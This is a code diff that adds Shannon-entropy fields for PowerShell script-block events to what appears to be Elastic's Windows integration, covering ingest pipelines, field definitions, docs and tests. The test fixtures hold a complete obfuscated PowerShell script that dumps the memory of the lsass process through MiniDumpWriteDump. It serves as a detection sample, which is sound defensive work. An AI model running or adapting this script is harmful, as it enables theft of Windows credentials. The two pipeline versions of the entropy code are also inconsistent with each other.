[Enhancement] Add Script Entropy Fields to PowerShell events

packages/windows/changelog.yml

@@ -1,4 +1,9 @@
 # newer versions go on top
+- version: "3.1.3"
+  changes:
+    - description: Add powershell.file.script_block_entropy and powershell.file.script_block_entropy_normalized fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15698
 - version: "3.1.2"
   changes:
     - description: Remove unused agent files.

packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml

@@ -324,6 +324,49 @@ processors:
         - _temp.script_block_no_space
       target_field: powershell.file.script_block_hash
       ignore_missing: true
+  - gsub:
+      field: powershell.file.script_block_text
+      target_field: _temp.script_block_no_signature
+      pattern: "(?s)# SIG # Begin signature block.+"
+      replacement: ""
+      ignore_missing: true
+  - script:
+      lang: painless
+      ignore_failure: true
+      description: Compute Shannon entropy of the script block text with signature removed.
+      if: ctx?._temp?.script_block_no_signature != null
+      source: |-
+        String script = ctx._temp.script_block_no_signature;
+        if (script.isEmpty()) {
+          return;
+        }
+        int cpLen = script.codePointCount(0, script.length());
+        if (cpLen == 0) {
+          return;
+        }
+
+        Map counts = script.codePoints().boxed().collect(Collectors.groupingBy(c -> c, Collectors.counting()));
+
+        double invLog2 = 1.0 / Math.log(2.0);
+        double entropy = 0.0;
+        for (def value : counts.values()) {
+            double p = ((Number) value).doubleValue() / (double) cpLen;
+            entropy -= p * Math.log(p) * invLog2;
+        }
+
+        int uniqueCount = counts.size();
+        double normalizedEntropy = (uniqueCount > 1)
+            ? entropy / (Math.log(uniqueCount) * invLog2)
+            : 0.0;
+        normalizedEntropy = Math.max(0.0, Math.min(1.0, normalizedEntropy));
+
+        if (ctx.powershell == null) {
+          ctx.powershell = ['file': [:]];
+        } else if (ctx.powershell.file == null) {
+          ctx.powershell.file = [:];
+        }
+        ctx.powershell.file.script_block_entropy = entropy;
+        ctx.powershell.file.script_block_entropy_normalized = normalizedEntropy;
 
   - split:
       description: Split Event 4103 command invocation details.

packages/windows/data_stream/forwarded/fields/fields.yml

@@ -150,6 +150,15 @@
       type: keyword
       description: >
         A hash of the script to be used in rules.
+
+    - name: script_block_entropy
+      type: float
+      description: >
+        Shannon entropy (bits per symbol) of the script block text.
+    - name: script_block_entropy_normalized
+      type: float
+      description: >
+        Normalized Shannon entropy (0.0 - 1.0) of the script block text.
 
 - name: powershell.process.executable_version
   type: keyword

packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json

@@ -174,6 +174,50 @@
                 "name": "vagrant"
             }
         },
+        {
+            "@timestamp": "2024-07-10T18:28:55.469Z",
+            "log": {
+                "level": "verbose"
+            },
+            "event": {
+                "original": "\u003cEvent xmlns='http://schemas.microsoft.com/win/2004/08/events/event'\u003e\u003cSystem\u003e\u003cProvider Name='Microsoft-Windows-PowerShell' Guid='{a0c1853b-5c40-4b15-8766-3cf1c58f985a}'/\u003e\u003cEventID\u003e4104\u003c/EventID\u003e\u003cVersion\u003e1\u003c/Version\u003e\u003cLevel\u003e5\u003c/Level\u003e\u003cTask\u003e2\u003c/Task\u003e\u003cOpcode\u003e15\u003c/Opcode\u003e\u003cKeywords\u003e0x0\u003c/Keywords\u003e\u003cTimeCreated SystemTime='2020-05-14T11:33:51.389266200Z'/\u003e\u003cEventRecordID\u003e3580\u003c/EventRecordID\u003e\u003cCorrelation ActivityID='{fb13c9de-29f7-0001-18e0-13fbf729d601}'/\u003e\u003cExecution ProcessID='4844' ThreadID='4428'/\u003e\u003cChannel\u003eMicrosoft-Windows-PowerShell/Operational\u003c/Channel\u003e\u003cComputer\u003evagrant\u003c/Computer\u003e\u003cSecurity UserID='S-1-5-21-1350058589-2282154016-2764056528-1000'/\u003e\u003c/System\u003e\u003cEventData\u003e\u003cData Name='MessageNumber'\u003e1\u003c/Data\u003e\u003cData Name='MessageTotal'\u003e1\u003c/Data\u003e\u003cData Name='ScriptBlockText'\u003e.\\patata.ps1\u003c/Data\u003e\u003cData Name='ScriptBlockId'\u003e50d2dbda-7361-4926-a94d-d9eadfdb43fa\u003c/Data\u003e\u003cData Name='Path'\u003e\u003c/Data\u003e\u003c/EventData\u003e\u003c/Event\u003e\n\u003cEvent xmlns='http://schemas.microsoft.com/win/2004/08/events/event'\u003e\u003cSystem\u003e\u003cProvider Name='Microsoft-Windows-PowerShell' Guid='{a0c1853b-5c40-4b15-8766-3cf1c58f985a}'/\u003e\u003cEventID\u003e4104\u003c/EventID\u003e\u003cVersion\u003e1\u003c/Version\u003e\u003cLevel\u003e5\u003c/Level\u003e\u003cTask\u003e2\u003c/Task\u003e\u003cOpcode\u003e15\u003c/Opcode\u003e\u003cKeywords\u003e0x0\u003c/Keywords\u003e\u003cTimeCreated SystemTime='2020-05-14T11:33:51.393884800Z'/\u003e\u003cEventRecordID\u003e3582\u003c/EventRecordID\u003e\u003cCorrelation ActivityID='{fb13c9de-29f7-0000-79db-13fbf729d601}'/\u003e\u003cExecution ProcessID='4844' ThreadID='4428'/\u003e\u003cChannel\u003eMicrosoft-Windows-PowerShell/Operational\u003c/Channel\u003e\u003cComputer\u003evagrant\u003c/Computer\u003e\u003cSecurity UserID='S-1-5-21-1350058589-2282154016-2764056528-1000'/\u003e\u003c/System\u003e\u003cEventData\u003e\u003cData Name='MessageNumber'\u003e1\u003c/Data\u003e\u003cData Name='MessageTotal'\u003e1\u003c/Data\u003e\u003cData Name='ScriptBlockText'\u003e\u003c/Data\u003e\u003cData Name='ScriptBlockId'\u003ef5521cbd-656e-4296-b74d-9ffb4eec23b0\u003c/Data\u003e\u003cData Name='Path'\u003eC:\\Users\\vagrant\\Desktop\\patata.ps1\u003c/Data\u003e\u003c/EventData\u003e\u003c/Event\u003e",
+                "code": "4104",
+                "kind": "event",
+                "provider": "Microsoft-Windows-PowerShell"
+            },
+            "tags": [
+                "forwarded"
+            ],
+            "winlog": {
+                "level": "verbose",
+                "event_data": {
+                    "MessageNumber": "1",
+                    "MessageTotal": "1",
+                    "ScriptBlockText": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n                                             $ProcessId,\n                                             $FileStream.SafeFileHandle,\n                                             $MiniDumpWithFullMemory,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath",
+                    "ScriptBlockId": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48"
+                },
+                "provider_name": "Microsoft-Windows-PowerShell",
+                "version": 1,
+                "record_id": 3944,
+                "computer_name": "kingslanding.sevenkingdoms.local",
+                "provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
+                "user": {
+                    "identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
+                },
+                "activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
+                "channel": "Microsoft-Windows-PowerShell/Operational",
+                "event_id": "4104",
+                "process": {
+                    "thread": {
+                        "id": 11556
+                    },
+                    "pid": 4696
+                }
+            },
+            "host": {
+                "name": "kingslanding"
+            }
+        },
         {
             "@timestamp": "2023-06-01T05:27:01.247Z",
             "event": {

packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json-expected.json

@@ -292,6 +292,67 @@
                 "version": 1
             }
         },
+        {
+            "@timestamp": "2024-07-10T18:28:55.469Z",
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "code": "4104",
+                "kind": "event",
+                "provider": "Microsoft-Windows-PowerShell",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "name": "kingslanding"
+            },
+            "log": {
+                "level": "verbose"
+            },
+            "powershell": {
+                "file": {
+                    "script_block_entropy": 4.999389346653311,
+                    "script_block_hash": "UqkTOrIKrALdr6uz7n5JWUnSHs8=",
+                    "script_block_id": "d5325f44-dfca-48a1-aa4f-9bfee88c3d48",
+                    "script_block_text": "$DumpFilePath = $PWD\n$WER = [PSObject].Assembly.GetType(((\"{0}{1}\" -f'Sy','st')+(\"{0}{1}\" -f 'em','.M')+'ana'+(\"{1}{0}\" -f 'e','gem')+(\"{0}{1}\"-f 'n',(\"{0}{2}{1}\" -f't.','ma','Auto'))+'ti'+(\"{1}{0}{2}\" -f(\"{2}{0}{1}\" -f 'W','indow','n.'),'o','s')+'E'+'rro'+(\"{0}{1}{2}\"-f'r',(\"{0}{1}\" -f'Rep','o'),'rt')+'ing'))\n$WERNativeMethods = $WER.GetNestedType(('Na'+'tiv'+(\"{0}{2}{1}\" -f 'e','s',(\"{1}{0}\" -f'od','Meth'))), ('Non'+'Pu'+(\"{0}{1}\" -f'bl','ic')))\n$Flags = [Reflection.BindingFlags] ((\"{1}{0}\"-f'P','Non')+(\"{1}{0}\"-f 'li','ub')+'c'+(\"{0}{1}\"-f(\"{1}{0}\" -f'ta',', S'),'tic'))\n$MiniDumpWriteDump = $WERNativeMethods.GetMethod(((\"{0}{1}\"-f'Min','i')+(\"{1}{2}{0}\"-f(\"{0}{1}\" -f'p','Write'),'Du','m')+'D'+'u'+'m'+'p'), $Flags)\n$MiniDumpWithFullMemory = [UInt32] 2\n$la = 'ls'\n$ss = ('a'+'ss')\n$Process = Get-Process $la$ss\n$ProcessId = $Process.Id\n$ProcessName = $Process.Name\n$ProcessHandle = $Process.Handle\n$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"\n$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName\n$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)\n$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,\n                                             $ProcessId,\n                                             $FileStream.SafeFileHandle,\n                                             $MiniDumpWithFullMemory,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero,\n                                             [IntPtr]::Zero))\n$FileStream.Close()\nGet-ChildItem $ProcessDumpPath"
+                },
+                "sequence": 1,
+                "total": 1
+            },
+            "process": {
+                "pid": 4696
+            },
+            "tags": [
+                "forwarded"
+            ],
+            "user": {
+                "id": "S-1-5-21-3715621034-4113696668-281506975-1117"
+            },
+            "winlog": {
+                "activity_id": "{fb13c9de-29f7-0001-18e0-13fbf729d601}",
+                "channel": "Microsoft-Windows-PowerShell/Operational",
+                "computer_name": "kingslanding.sevenkingdoms.local",
+                "event_id": "4104",
+                "process": {
+                    "pid": 4696,
+                    "thread": {
+                        "id": 11556
+                    }
+                },
+                "provider_guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}",
+                "provider_name": "Microsoft-Windows-PowerShell",
+                "record_id": "3944",
+                "user": {
+                    "identifier": "S-1-5-21-3715621034-4113696668-281506975-1117"
+                },
+                "version": 1
+            }
+        },
         {
             "@timestamp": "2023-06-01T05:27:01.247Z",
             "ecs": {

packages/windows/data_stream/powershell_operational/elasticsearch/ingest_pipeline/default.yml

@@ -324,6 +324,36 @@ processors:
         - _temp.script_block_no_space
       target_field: powershell.file.script_block_hash
       ignore_missing: true
+  - gsub:
+      field: powershell.file.script_block_text
+      target_field: _temp.script_block_no_signature
+      pattern: "(?s)# SIG # Begin signature block.+"
+      replacement: ""
+      ignore_missing: true
+  - script:
+      lang: painless
+      ignore_failure: true
+      description: Compute Shannon entropy of the script block text with signature removed.
+      if: ctx?._temp?.script_block_no_signature != null
+      source: |-
+        String script = ctx._temp.script_block_no_signature;
+        int strLen = script.length();
+
+        int cpLen = script.codePointCount(0, strLen);
+        if (cpLen == 0) {
+          return;
+        }
+
+        Map counts = script.codePoints().boxed().collect(Collectors.groupingBy(c -> c, Collectors.counting()));
+
+        double invLog2 = 1.0 / Math.log(2.0);
+        double entropy = 0.0;
+        for (def value : counts.values()) {
+            double p = ((Number) value).doubleValue() / (double) strLen;
+            entropy -= p * Math.log(p) * invLog2;
+        }
+        ctx.powershell.file.script_block_entropy = entropy;
+
 
   - split:
       description: Split Event 4103 command invocation details.

packages/windows/data_stream/powershell_operational/fields/fields.yml

@@ -111,6 +111,15 @@
       type: keyword
       description: >
         A hash of the script to be used in rules.
+
+    - name: script_block_entropy
+      type: float
+      description: >
+        Shannon entropy of the script block text.
+    - name: script_block_entropy_normalized
+      type: float
+      description: >
+        Normalized Shannon entropy (0.0 - 1.0) of the script block text.
 
 - name: powershell.process.executable_version
   type: keyword

packages/windows/docs/README.md

@@ -2152,6 +2152,8 @@ An example event for `powershell_operational` looks as following:
 | powershell.engine.new_state | New state of the PowerShell engine. | keyword |
 | powershell.engine.previous_state | Previous state of the PowerShell engine. | keyword |
 | powershell.engine.version | Version of the PowerShell engine version used to execute the command. | keyword |
+| powershell.file.script_block_entropy | Shannon entropy of the script block text. | float |
+| powershell.file.script_block_entropy_normalized | Normalized Shannon entropy (0.0 - 1.0) of the script block text. | float |
 | powershell.file.script_block_hash | A hash of the script to be used in rules. | keyword |
 | powershell.file.script_block_id | Id of the executed script block. | keyword |
 | powershell.file.script_block_signature | If present in the script, the script signature. | keyword |

packages/windows/manifest.yml

@@ -1,6 +1,6 @@
 name: windows
 title: Windows
-version: 3.1.2
+version: 3.1.3
 description: Collect logs and metrics from Windows OS and services with Elastic Agent.
 type: integration
 categories: